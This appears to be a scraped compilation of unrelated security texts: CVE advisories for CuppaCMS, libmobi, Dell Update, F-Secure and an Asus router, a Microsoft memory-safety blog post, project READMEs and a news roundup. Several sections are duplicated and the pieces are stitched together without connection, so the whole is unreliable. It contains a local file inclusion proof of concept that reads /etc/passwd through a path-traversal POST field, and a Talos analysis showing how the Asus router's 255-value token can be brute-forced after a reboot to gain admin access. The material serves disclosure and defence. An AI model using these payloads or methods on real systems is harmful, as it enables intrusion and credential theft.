CuppaCMS v1.0 was discovered to contain a local file inclusion via the url parameter in /alerts/alertConfigField.php.

Product version:cuppaCMS v1.0 http://cuppacms.com/files/cuppa\_cms.zip

**poc**

    POST /alerts/alertConfigField.php
    urlConfig=../../../../../../../../../../../../../../etc/passwd
    

**analysis**

location: /alerts/alertConfigField.php line 77  
  
  <?php include "../components/table_manager/fields/config/".@$cuppa->POST("urlConfig"); ?>  
and $cuppa->POST

           // post
        public function POST($string){
                    return $this->sanitizeString(@$_POST[$string]);
           }
    

go on

          public function sanitizeString($string){
                    return htmlspecialchars(trim(@$string));
                }
    

so the post urlConfig without any lfi protected filter

**Repair suggestions**

you can check urlConfig ,for example check if it has .. then refuse this request

CVE-2022-25486: Unauthorized local file inclusion (LFI) vulnerability exists via the urlConfig parameter in /alerts/alertConfigField.php · Issue #25 · CuppaCMS/CuppaCMS

Buffer Over-read at parse_rawml.c:1416 in GitHub repository bfabiszewski/libmobi prior to 0.11. The bug causes the program reads data past the end of the intented buffer. Typically, this can allow attackers to read sensitive information from other memory locations or cause a crash.

@@ -1413,6 +1413,10 @@ MOBI\_RET mobi\_reconstruct\_infl(char \*outstring, const MOBIIndx \*infl, const MOBI

  

unsigned char decoded\[INDX\_INFLBUF\_SIZEMAX + 1\];

memset(decoded, 0, INDX\_INFLBUF\_SIZEMAX + 1);

if (parts\[j\] >= infl->entries\_count) {

debug\_print("%s\\n", "Invalid entry offset");

return MOBI\_DATA\_CORRUPT;

}

unsigned char \*rule = (unsigned char \*) infl->entries\[parts\[j\]\].label;

memcpy(decoded, label, label\_length);

int decoded\_length = (int) label\_length;

CVE-2022-1534: Fix array boundary check when parsing inflections which could result … · bfabiszewski/libmobi@fb1ab50

Dell Command | Update, Dell Update, and Alienware Update versions prior to 4.7 contain a improper verification of cryptographic signature in get applicable driver component. A local malicious user could potentially exploit this vulnerability leading to malicious payload execution.

**Vaikutus**

High

**Tiedot**

**Proprietary Code CVEs**

**Description**

**CVSS Base Score**

**CVSS Vector String**

CVE-2022-34459

Dell Command | Update, Dell Update, and Alienware Update versions before 4.7 contain an Improper Verification of Cryptographic Signature vulnerability. A local malicious user could potentially exploit this vulnerability leading to malicious payload execution.

7.8

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE-2022-34458

Dell Command | Update, Dell Update, and Alienware Update versions before 4.7 contain an Exposure of Sensitive System Information to an unauthorized user vulnerability. A local malicious user could potentially exploit this vulnerability leading to the disclosure of confidential data.

6.6

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

**Proprietary Code CVEs**

**Description**

**CVSS Base Score**

**CVSS Vector String**

CVE-2022-34459

Dell Command | Update, Dell Update, and Alienware Update versions before 4.7 contain an Improper Verification of Cryptographic Signature vulnerability. A local malicious user could potentially exploit this vulnerability leading to malicious payload execution.

7.8

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE-2022-34458

Dell Command | Update, Dell Update, and Alienware Update versions before 4.7 contain an Exposure of Sensitive System Information to an unauthorized user vulnerability. A local malicious user could potentially exploit this vulnerability leading to the disclosure of confidential data.

6.6

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Dell Technologies suosittelee, että kaikki asiakkaat ottavat huomioon sekä CVSS-peruspistemäärän että kaikki asiaankuuluvat väliaikaiset ja ympäristöön liittyvät pisteet, jotka voivat vaikuttaa tietyn tietoturvahaavoittuvuuden mahdolliseen vakavuuteen.

**Tuotteet, joihin asia vaikuttaa ja tilanteen korjaaminen**

**Product**

**Affected Versions**

**Updated Versions**

**Link to Update**

Dell Command | Update  
 

Versions before 4.7.1  
 

4.7.1  
 

Universal Windows Platform version for Windows 10 32-bit and 64-bit

Dell Command | Update Application for Windows 10 | Driver Details | Dell US

Dell Update /  
Alienware Update

Versions before 4.7.1  
 

4.7.1  
 

Universal Windows Platform version for Windows 10 32-bit and 64-bit  
Dell Update/Alienware Update Application for Windows 10 | Driver Details | Dell US

**Product**

**Affected Versions**

**Updated Versions**

**Link to Update**

Dell Command | Update  
 

Versions before 4.7.1  
 

4.7.1  
 

Universal Windows Platform version for Windows 10 32-bit and 64-bit

Dell Command | Update Application for Windows 10 | Driver Details | Dell US

Dell Update /  
Alienware Update

Versions before 4.7.1  
 

4.7.1  
 

Universal Windows Platform version for Windows 10 32-bit and 64-bit  
Dell Update/Alienware Update Application for Windows 10 | Driver Details | Dell US

**Kiitokset**

**CVE-2022-34458**: Dell would like to thank Alexander Pudwill for reporting this issue.

**Versiohistoria**

**Revision**

**Date**

**Description**

1.0

2022-11-14

Initial Release

20.

2022-12-08

Updated Affected Products and Remediation section: Affected Version, Updated Version, and Link to Update

**Asiaan liittyvät tiedot**

Dell Security Advisories and Notices  
Dell Vulnerability Response Policy  
CVSS Scoring Guide

12 jouluk. 2022

CVE-2022-34459: DSA-2022-298: Dell Command | Update, Dell Update, and Alienware Update Security Update for Multiple Vulnerabilities

In our first post in this series, we discussed the need for proactively addressing memory safety issues. Tools and guidance are demonstrably not preventing this class of vulnerabilities; memory safety issues have represented almost the same proportion of vulnerabilities assigned a CVE for over a decade. We feel that using memory-safe languages will mitigate this in ways that tools and training have not been able to.

In our first post in this series, we discussed the need for proactively addressing memory safety issues. Tools and guidance are demonstrably not preventing this class of vulnerabilities; memory safety issues have represented almost the same proportion of vulnerabilities assigned a CVE for over a decade. We feel that using memory-safe languages will mitigate this in ways that tools and training have not been able to.

In this post, we’ll explore some real-world examples of vulnerabilities found in Microsoft products (after testing and static analysis) that could be prevented by using a memory-safe language.

**Memory Safety Memory Safety**

Memory safety is a property of programming languages where all memory access is well defined. Most programming languages in use today _are_ memory-safe because they use some form of garbage collection. However, _systems-level languages_ (i.e., languages used to build the underlying systems other software depends on, like OS kernels, networking stacks, etc.) which cannot afford a heavy runtime like a garbage collector are usually not memory-safe.

As was pointed out in our previous post, the root cause of approximately 70% of security vulnerabilities that Microsoft fixes and assigns a CVE (Common Vulnerabilities and Exposures) are due to memory safety issues. This is despite mitigations including intense code review, training, static analysis, and more.

~70% of the vulnerabilities Microsoft assigns a CVE each year continue to be memory safety issues

While many experienced programmers can write correct systems-level code, it’s clear that no matter the amount of mitigations put in place, it is near impossible to write memory-safe code using traditional systems-level programming languages _at scale_.

Let’s look at some real-life examples of security vulnerabilities that have been caused by the use of languages without a memory safety guarantee.

**Spatial memory safety Spatial memory safety**

_Spatial memory safety_ refers to ensuring that all memory accesses are within bounds of the type that is being accessed. Doing this requires code to both track these sizes and correctly check all memory operations against these sizes.

Checks can either be absent for an edge case of control flow or can be implemented incorrectly due to not accounting for the intricacies of integer sign, integer promotion, or integer overflow. Let’s consider this example from Microsoft Edge, found by Alexandru Pitis (CVE-2018-8301):

The check at \[0\] is correct. However, \[1\] can modify the size of the string invalidating the retrieved offset. The function at \[2\] calls a copy function which ends up being different than the expected offset, triggering an exploitable out of bounds write.

The fix for this vulnerability is easy: move the “offset check” closer to the time of use. The problem is that this is very error-prone in complex code bases and a simple refactor of the code could open this vulnerability again. Modern C++ offers span to enforce bounds checked array accesses. Unfortunately, it is not the default, and so it is the responsibility of the developer to opt into using it. In practice, enforcing the usage of such constructs is difficult.

If the language could automatically track and verify sizes for us, we as programmers would no longer need to worry about having to implement these checks correctly, and we could be certain that none of these issues exist in our code.

**Temporal memory safety Temporal memory safety**

_Temporal memory safety_ refers to ensuring that pointers still point to valid memory at the time of dereference.

A common use-after-free pattern comes from taking a reference to some memory in a local pointer, executing a complex series of operations that could result in freeing or moving the memory, making the local pointer become stale, and then dereferencing it when it is no longer valid. Consider this source code example from Edge found by Steven Hunter (CVE-2017-8596):

This bug is possible because of how many complex APIs interact with each other and the programmer not being able to enforce ownership of memory throughout the codebase. At \[0\], the program gets a pointer to a buffer owned by a JavaScript object. Then at \[1\], because of the language complexity, to get another variable, it might execute more JavaScript code. At \[2\], it will use the buffer and width to create a new JavaScript object with the contents of that pointer.

The problems are:

1.  The program uses a combination of garbage collection and manual memory management. The garbage collector tracks the JavaScript objects but it doesn’t know if there is a pointer to an internal part of the object
2.  Because VarToInt reenters into JavaScript, the JS program can modify the state and clear the owner of the pointer it aliased at \[1\]

The vulnerability is similar to an iterator invalidation bug where all the pointers to the internal state of JavaScript might become dangling if the state is modified. This issue can be solved in many ways. However, statically proving that this error does not happen again is nearly impossible in programs as complex as browsers. The root of the problem comes from aliasing pointers that point to mutable state. C and C++ do not have the tools to enforce the prevention of such errors. However, it’s recommended to always use “_smart pointers”_ for tracking memory ownership.

**Data races Data races**

A _data race_ occurs when two or more threads in a single process concurrently access the same memory location, at least one of the accesses is for writing, and the threads are not using any exclusive locks to control their accesses to that memory. When considering shared data across multi-threaded execution, keeping spatial and temporal memory safety becomes even more difficult and error prone. Even small windows of time of unsynchronized memory sharing might allow another thread to modify data that can be used to reference memory. This allows, among other things, time-of-check vs time-of-use vulnerabilities that trigger spatial and temporal memory safety vulnerabilities

Jordan Rabet’s VMSwitch vulnerability, presented at Blackhat 2018, shows one potential impact of a data race. This code is called when a virtual machine sends a specific message to the host. This means that it can be called in parallel to the processing of other control messages and packets. This is problematic because the handlers for those control messages use information that is modified without any locking being done \[0\].

Looking at the next snippet, which is used for several control message completion handlers, we can see how the information being updated is used:

Due to this unsynchronized access, it’s possible for the new buffer base to be used with the old opHostData->AllocatedRanges \[1\] values, leading to an out-of-bounds write \[3\].

Preventing these types of vulnerabilities requires locking the data structures accessed by different threads for the time necessary to complete its processing. However, there is no easy way to statically enforce checks for these types of vulnerabilities in C++.

**What We Can Do About it What We Can Do About it**

Addressing the issues highlighted above required taking several different measures. “Modern” constructs in C++ like span<T\> can prevent at least some classes of memory safety issues, and other modern C++ features such as smart pointers should be used wherever possible. However, modern C++ is still not completely memory-safe and data-race free. What’s more, usage of such features relies on programmers always “doing the right thing” which in large and ambiguous codebases may be impossible to enforce. C++ also lacks good tools for wrapping unsafe code in safe abstractions meaning while it might be possible to enforce correct coding practices on a local level, it can prove extremely difficult to build software components in C or C++ that compose safely.

Beyond this, whenever possible software should eventually be moved to a completely memory-safe language like C# or F# that ensure memory safety through runtime checks and garbage collection. After all, you should only incur the complexity of having to think about memory management when necessary.

If there are legitimate reasons for needing the speed, control and predictability of a language like C++, see if you can move to a systems-level programming language that is memory safe. In our next post, we’ll explore why we think the Rust programming language is currently the best choice for the industry to adopt whenever possible due to its ability to write systems-level programs in a memory-safe way.

_Ryan Levick, Principal Cloud Developer Advocate_

_Sebastian Fernandez, Security Software Engineer_

We need a safer systems programming language

After President's Trump decision to enter the US into the conflict in the Middle East, the Department of Homeland Security expects there to be an uptick in Iranian hacktivists and state-sponsored actors targeting US systems.

DHS Warns of Rise in Cyberattacks in Light of US-Iran Conflict

An HTML Injection Vulnerability in iOrder 1.0 allows the remote attacker to execute Malicious HTML codes via the signup form

**Order Processing MIS.**

iOrder is a light weight prototype for a order processing MIS.

**Features**

1.  Centralized order management

Merchants definitely benefit from providing the buyers with a wide range of payment services to complete their transaction. Therefore, they pay attention to the order management systems that support multiple payment options. It is important to integrate with fraud check services for merchants' security.

2.  Inventory management

Online store owners do their best to ensure good service for their clients. Syncing your inventory with an OMS is essential for this, as it helps avoid receiving orders for items that are out of stock or are no more available. This feature is also important for reserving goods added to the cart but not yet purchased and updating the stock levels correspondingly. Fulfillment points integration

If a store has several fulfillment points, fulfillment integration enables to define which of the points to use for the order based on its location and item availability.

3.  Shipping services integration

Even once the item is dispatched for shipping and merchant's work seems to be over, the order isn't yet completed. Both the buyer and the seller want to know 'how it goes', so integration with shipping services is indispensable. Your OMS software should provide as many shipping integrations as possible since eCommerce businesses now tend to extend the circle of delivery options for the sake of customer convenience and reduced shipping costs.

In view of the possibility of receiving payment upon delivery, this feature will allow tracking and processing payments collected by shipping companies.

4.  Customer management

Service level can never be too high, so entrepreneurs do their best to eliminate any worries on their buyers' side and answer any questions before they're even asked. For instance, notifying a person about their order being received, processed, and shipped with detailed info on each stage. An order management system should be able to automatedly send corresponding emails using certain triggers to let customer service agents focus on dealing with individual requests.

Integration to customer service systems would be a big advantage, enabling agents to view, process, and edit order information while communicating with customers.

CVE-2021-43441: GitHub - MartDevelopers-Inc/Order_Processing_MIS: Lightweight Order Processing  MIS Prototype.

ChurchCRM 4.5.3 and below was discovered to contain a stored cross-site scripting (XSS) vulnerability at /api/public/register/family.

**Cloud Church CRM**

Church CRM is a modern Cloud-based CRM; You don’t have to pay for hardware, server and software maintenance.

**No additional cost**

If your church has an existing website, chances are good that you already have the prerequisites in place, and you can co-host the application on the same servers as your webpage.

**Multilingual**

Globalization and localization support is 25+ languages

**Mobile Friendly**

Accessible from anywhere using any modern browser! Desktop, Laptop, Tablet & Phone compatible - The choice is yours.

**Features**

Check The Features

**Get Started**

The application is based on the concepts of people who are members of families and are also members of common interest groups. After you have installed the ChurchCRM application and can login, you are ready to configure the application. The first thing to do is enter your church name, address, phone and email address into the Report Settings. ChurchCRM will display “My Church” in large, bold letters at the top of each page. During the configuration stage, give some consideration to how you will use ChurchCRM:

*   What are the groups that you will use?
*   What properties do you need to record for people, families and groups?
*   Do you need to use custom fields?
*   Who needs access to the administration features?
*   Who should be given access to the Financial records?
*   Who can add or change records?
*   First Run Configuration Items

**Get Involved**

We

contributors! A lot of people over the last 10 years have helped make ChurchCRM awesome!

**History:** ChurchCRM is a branch off of two former open-source projects. It started via the team behind a program called InfoCentral. 5 years later, ChurchInfo took over the code base.  
After examining the inner workings of these ChurchInfo, we have started working on ChurchCRM by adding new features and bringing it up to speed with modern application development techniques here on GitHub!

You don't need to be a developer to contribute to the software; we are always adding new features to the application that need to be localized. Join our POEditor.com project to help translate the software into your native language.

CVE-2023-24690: An OpenSource CRM System Built for Churches

F-Secure SAFE Browser 19.1 before 19.2 for Android allows an IDN homograph attack.

**STATUS**: Fixed

**RISK LEVEL**: Medium

**FIX**: No user action is required. Newer version 19.2 has been released in the automatic update channel since 22nd Dec 2022..

F‑Secure SAFE browser for Android is vulnerable to an IDN homo­graph attack when displaying messages containing malicious URLs. Trick that can deceive users into thinking they are visiting a legitimate web­site when in fact they are directed to a malicious homo­graph, domain name.

This issue was reported to F‑Secure through the Vulnerability Reward Program. No known exploit or attack has been seen in the wild.

F-Secure Corporation would like to thank Rafi Andhika Galuh for bringing this issue to our attention.

CVE-2022-47524: CVE-2022-47524 | F-Secure

Plus: MGM hackers hit more than just casinos, Microsoft researchers accidentally leak terabytes of data, and China goes on the PR offensive over cyberespionage.

Mandiant researchers published findings this week about a newly revealed Chinese espionage operation that used Sogu malware to spy on the African operations of both European and US organizations. The campaign is significant for the scope of its victims, but also because attackers used a classic malware distribution method: thumb drives. The attacks are the latest example of China's aggressive global espionage—but read on for statements from the Chinese government about alleged US cyberattacks and digital espionage.

After Elon Musk claimed recently that primates used in Neuralink implant research were close to death anyway, a WIRED investigation this week revealed grisly details about the truth of their deaths that appear to dispute the characterization that the animals were all terminally ill. The revelations come as Neuralink is pursuing human trials of its brain-chip implants. 

And there's more. Each week, we round up the security and privacy news we didn’t cover in depth ourselves. Click the headlines to read the full stories, and stay safe out there.

Kia and Hyundai cars have been plagued for years by vulnerabilities—and simply missing protective features—in their antitheft systems that make the cars far too easy to steal. Recently, the companies have been attempting to distribute updates to remedy the situation, but the flaws have already resulted in skyrocketing car theft rates around the United States. New data from 10 US cities compiled by Motherboard through public records requests illustrate the extent of the problem. In Chicago, for example, average car theft rates of about 850 per month are now consistently up to more than 2,000 per month. Similarly, before 2021, rates in Denver used to hover around 800 stolen cars per month. They now typically top 1,000. Atlanta's car theft rates have doubled from their old level before 2022 of fewer than 250 incidents per month. 

“Stolen car rates are not up by 10 percent, or 20 percent, or even 50 percent,” the report says. “In many cities, they are up hundreds of percentage points, Motherboard has found. Rates of stolen Kias and Hyundais in particular are up thousands of percentage points.”

Over the past two weeks, MGM Resorts has been dealing with the very public fallout of a recent cyberattack. Caesars Entertainment also admitted last week that it recently suffered a data breach and faced criminal extortion demands. Adding to the larger context, an executive for the enterprise identity management firm Okta said this week that the same gang that targeted MGM and Caesars, known as Alphv, also hacked three other targets since August as part of the same spree.

That makes five Okta customers in total that were affected. David Bradbury, Okta's chief security officer, would not name the other three victims but said they are in the technology, retail, and manufacturing sectors. Bradbury said Okta is cooperating with law enforcement investigations into the hacks.

Wiz security firm published findings this week that Microsoft AI researchers unintentionally exposed 38 terabytes of private data on the developer platform GitHub while attempting to open-source a repository of training data. The leak included internal Microsoft data, including more than 30,000 Teams messages, passwords, and private keys. The exposure occurred because of a misconfiguration in how the researchers used an Azure Storage data-sharing feature.

This week, officials from China's Ministry of State Security publicly accused the US government of breaching and monitoring Huawei's networks in a 2009 espionage attack. The statement also alleges that the US has conducted “tens of thousands of malicious network attacks” on Chinese institutions and organizations to surveil networks and steal data. Furthermore, the officials claimed that the US government has planted backdoors in software and hardware produced around the world to enable global surveillance. China has accused the US of cyberespionage before—and certainly conducts its share of surveillance and data exfiltration operations. Meanwhile, Huawei has been a particular lightning rod in longtime disputes between the US and China about digital and technical security.

The Shocking Data on Kia and Hyundai Thefts in the US

An authentication bypass vulnerability exists in the get_IFTTTTtoken.cgi functionality of Asus RT-AX82U 3.0.0.4.386_49674-ge182230. A specially-crafted HTTP request can lead to full administrative access to the device. An attacker would need to send a series of HTTP requests to exploit this vulnerability.

**SUMMARY**

An authentication bypass vulnerability exists in the get\_IFTTTTtoken.cgi functionality of Asus RT-AX82U 3.0.0.4.386\_49674-ge182230. A specially-crafted HTTP request can lead to full administrative access to the device. An attacker would need to send a series of HTTP requests to exploit this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Asus RT-AX82U 3.0.0.4.386\_49674-ge182230

**PRODUCT URLS**

RT-AX82U - https://www.asus.com/us/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AX82U/

**CVSSv3 SCORE**

9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

**CWE**

CWE-324 - Use of a Key Past its Expiration Date

**DETAILS**

The Asus RT-AX82U router is one of the newer Wi-Fi 6 (802.11ax)-enabled routers that also supports mesh networking with other Asus routers. Like basically every other router, it is configurable via a HTTP server running on the local network. However, it can also be configured to support remote administration and monitoring in a more IOT style.

In order to enable remote management and monitoring of our Asus Router, so that it behaves just like any other IoT device, there are a couple of settings changes that need to be made. First we must enable WAN access for the HTTPS server (or else nothing could manage the router), and then we must generate an access code to link our device with either Amazon Alexa or IFTTT. These options can all be found internally at http://router.asus.com/Advanced_Smart_Home_Alexa.asp.

As a high level overview, upon receiving this code, the remote website will connect to your router at the get_IFTTTtoken.cgi web page and provide a shortToken HTTP query parameter. Assuming this token is received within 2 minutes of the aforementioned access code being generated, and also assuming this token matches what’s in the router’s nvram, the router will respond back with an ifttt_token that grants full administrative capabilities to the device, just like the normal token used after logging into the device via the HTTP server.

    0002863c  int32_t do_get_IFTTTToken_cgi(int32_t arg1, FILE* arg2)
    00028660      char* r0 = get_UA_Type(inpstr: &user_agent)                 // [1]
    00028668      char* r0_2
    00028668      if (r0 != 4)   // asusrouter-Windows-IFTTT-1.0
    000286b0          r0_2 = get_UA_Type(inpstr: &user_agent)
    
    // [...]
    000286cc      void var_30
    000286cc      memset(&var_30, 0, 0x20)
    000286d8      char* r0_4 = check_if_queryitem_exists("shortToken")        // [2]
    000286e0      if (r0_4 == 0)
    000286e4          r0_4 = &nullptr
    
    000286ec      int32_t r0_5 = gen_IFTTTtoken(token: r0_4, outbuf: &var_30) // [3]
    
    00028700      fputs(str: &(*"\tif (disk_num == %d) {\n")[0x15], fp: arg2)
    00028708      fflush(fp: arg2)
    0002871c      fprintf(stream: arg2, format: ""ifttt_token":"%s",\n", &var_30) // [4]
    00028724      fflush(fp: arg2)
    00028738      fprintf(stream: arg2, format: ""error_status":"%d"\n", r0_5)
    00028740      fflush(fp: arg2)
    00028750      fputs(str: &data_81196, fp: arg2)
    00028760      return fflush(fp: arg2)
    

At \[1\], the function pulls out the “User-Agent” header of our HTTP GET request and checks to see if it starts with “asusrouter”. It also checks if the text after the second dash is either “IFTTT” or “Alexa”. In either of those cases, it returns 4 or 5, and we’re allowed to proceed in the code path. At \[2\], the function pulls out the shortToken query parameter from our HTTP GET request and passes that into the gen_IFTTTtoken function at \[3\]. Assuming there is a match, gen_IFTTTtoken will output the ifttt_token authentication buffer to var_30, which is then sent back to the HTTP sender at \[4\]. Looking at gen_IFTTTtoken:

    0007b5c8  int32_t gen_IFTTTtoken(char* token, uint8_t* outbuf)
    
    0007b5d4      int32_t r0 = uptime()
    0007b5fc      memset(&ifttt_token_copy, 0, 0x20)
    0007b614      int32_t r0_8
    0007b614      int32_t arg3
    0007b614      int32_t arg4
    0007b614      if (r0 - nvram_get_int("ifttt_timestamp") s> 120)       // [5]
    0007b6ec          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
    0007b710              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] short token timeout\n", "gen_IFTTTtoken", 0x3ff, token, outbuf, arg3, arg4)
    0007b714          r0_8 = 1
    0007b630      else if (nvram_get_and_cmp("ifttt_stoken", token) == 0) // [6]
    0007b72c          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
    0007b760              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] short token is not the same: endp…", "gen_IFTTTtoken", 0x402, token, p2_nvram_get(item: "ifttt_stoken"), arg3, arg4)
    0007b764          r0_8 = 2
    0007b64c      else if (get_UA_Type(inpstr: &user_agent) != 4)
    0007b77c          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
    0007b7a0              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] user_agent not from IFTTT/ALEXA\n", "gen_IFTTTtoken", 0x405, token, outbuf, arg3, 0xf1430)
    0007b7a4          r0_8 = 3
    0007b668      else
    0007b668          int32_t r2
    0007b668          uint8_t* r3
    0007b668          r2, r3 = nvram_set("skill_act_code", p2_nvram_get(item: "skill_act_code_t"))
    0007b674          generate_asus_token(dst: &ifttt_token_copy, len: 0x20, r2, readsrc: r3)     // [7]
    0007b684          strlcpy(dst: outbuf, src: &ifttt_token_copy, len: 0x20)
    0007b694          nvram_set("ifttt_token", &ifttt_token_copy)
    0007b698          nvram_commit()
    0007b6ac          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
    0007b6d0              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] get IFTTT long token success\n", "gen_IFTTTtoken", 0x408, token, outbuf, arg3, 0xf1430)
    0007b6d4          r0_8 = 0
    0007b7ac      return r0_8
    

Right at the beginning there is a check \[5\] to see if the uptime of the device is more than two minutes after the ifttt_stoken has been generated. Assuming we are within that timeframe, the ifttt_stoken nvram item is grabbed and compared with our shortToken at \[6\]. If there’s a match, we end up hitting the code branch around \[7\], where the device generates a new ifttt_token and copies it to the output buffer on the next line of code. As a reminder, this token grants the same admin access as the normal HTTP login token.

While nothing really seems out of place at the moment, let’s take a look over at the code which actually generates the ifttt_stoken:

    00074210  uint8_t* do_ifttt_token_generation(uint8_t* output)
    // [...]
    000742c0      char ifttt_token[0x80]
    000742c0      memset(&ifttt_token, 0, 0x80)
    000742d0      char timestamp[0x80]
    000742d0      memset(&timestamp, 0, 0x80)
    000742e0      char rbinstr[0x8]
    000742e0      rbinstr[0].d = 0
    000742e8      int32_t* randbinstrptr = &rbinstr
    000742f4      rbinstr[4].d = 0
    00074308      srand(x: time(timer: nullptr))
    0007431c      // takes the remainder...
    00074324      int_to_binstr(inp: __aeabi_idivmod(rand(), 0xff), cpydst: randbinstrptr, len: 7)              // [8]
    // [...]
    00074608      snprintf(s: &ifttt_token, maxlen: 0x80, format: &percent_o, binary_str_to_int(randbinstrptr)) // [9]
    0007461c      nvram_set("ifttt_stoken", &ifttt_token)
    00074638      snprintf(s: &timestamp, maxlen: 0x80, format: &percentld, uptime())                           // [10]
    00074648      nvram_set("ifttt_timestamp", &timestamp)
    00074658      strlcpy(dst: output, src: &skill_act_code, len: 0x48)
    0007465c      nvram_commit()
    0007466c      return output
    

With the unimportant code cut out, we are left with a somewhat clear view of the generation process. At \[8\] a random number is generated that is then moded against 0xFF. This number is then transformed into a binary string of length 8 (e.g. ‘00101011’). A lot further down at \[9\], this randbinstrptr is converted back to an integer and fed into a call to snprintf(&ifttt_token, 0x80, "%o", ...), which generates the octal version of our original number. With this in mind, we can clearly see that the keyspace for the ifttt_stoken is only 255 possibilities, which makes brute forcing the ifttt_stoken a trivial matter. While normally this would not be a problem, since the ifttt_stoken can only be used for two minutes after generation, we can see a flaw in this scheme if we take a look at the ifttt_timestamp’s creation. At \[10\] we can clearly see that it is the uptime() of the device in seconds (which is taken from sysinfo()). If we recall the actual check from before:

    0007b5d4      int32_t r0 = uptime()
    // [...]
    0007b614      if (r0 - nvram_get_int("ifttt_timestamp") s> 120)
    // [...]
    0007b630      else if (nvram_get_and_cmp("ifttt_stoken", token) == 0)
    

We can see that the current uptime is used against the uptime of the generated token. Unfortunately for the device, uptime starts from when the device was booted, so if the device ever restarts or reboots for any reason, the ifttt_stoken suddenly becomes valid again since the current uptime will most likely be less than the uptime() call at the point of ifttt_stoken generation. Neither the ifttt_timestamp or the ifttt_stoken are ever cleared from nvram, even if the Amazon Alexa and IFTTT setting are disabled, and so the device will remain vulnerable from the moment of first generation of the configuration.

**TIMELINE**

2022-08-01 - Initial Vendor Contact  
2022-08-09 - Vendor Disclosure  
2022-11-16 - Vendor Patch Release  
2023-01-10 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

Search

lenovo warranty check/lookup | check warranty status | lenovo support us